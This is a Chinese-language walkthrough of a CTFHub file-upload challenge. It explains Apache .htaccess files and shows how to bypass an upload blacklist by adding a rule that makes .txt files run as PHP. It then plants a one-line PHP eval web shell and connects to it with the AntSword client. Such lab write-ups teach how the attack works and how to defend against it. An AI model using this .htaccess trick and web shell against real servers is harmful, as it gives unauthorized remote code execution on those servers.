文件上传3-前端绕过/.htaccess(ctfhub)
一.题目链接:
https://www.ctfhub.com/#/skilltree
二.基础知识
2.1 .htaccess为何物?
- 介绍:
.htaccess文件(或者分布式配置文件),全称是hypertext access(超文本入口)。它提供了针对目录改变配置的方法,即在一个特定的目录文档中放置一个包含一个或多个指令的文件,以此作用域此目录及其所有子目录。
作为用户,所能使用的命令受到限制。管理员可以通过APache的AllowOverride指令来设置。
.htaccess文件是作用于apache服务器下的控制文件访问的配置文件,因此Nginx下不会生效的。
.htaccess可以帮助我们实现:网页301重定向,自定义404错误页面,改变文件扩展名,准许/阻止特定的用户或目录的访问,精致目录列表,配置默认文档,文件的跳转等功能2.2 .htaccess文件上传漏洞的利用原理
- 1:一般.htaccess可以用来留后门和针对黑名单绕过
语法:AddType MIME类型 文件扩展名
eg:AddType application/x-httpd-php .png- 参数解释:
1.MIME类型:通过Content-Type头(如text/html,image/jpef)告诉浏览器或服务器如何处理数据,常见的MIME类型有:text/plain(文本文件),text/html(HTML文件),image/jpeg(照片文件)
2.x-httpd-php:x---表示这是一个非官方的MIME类型,httpd-- 特指Apache服务器,php-- 表示文件需要由php解析器下执行
3..txt-- 将txt文件解析为php文件
三.开始解题
1.经过上面的基础知识,我们可以把txt文件变成php,先touch一个名字.htaccess文件,将以下内容写入。这里一定要注意,当我们在网页上传文件时,要右键显示隐藏文件,因为配置文件时默认隐藏的
#将txt文件解析为PHP文件执行
AddType application/x-httpd-php .txt
#再创建一个shell.txt文件用来写一句话木马,这里的pass为密码
<?php @eval($_POST["pass"]);?>


上传成功后,我们通过相对路径访问该文件,访问成功,把url复制到蚁剑上,输入密码,测试连接,然后连接

四.思路总结
参考wp:https://www.cnblogs.com/0yst3r-2046/p/12511617.html
常规的上传方法不能用,包括改后缀名 -->
那就尝试改配置文件进行绕过

浙公网安备 33010602011771号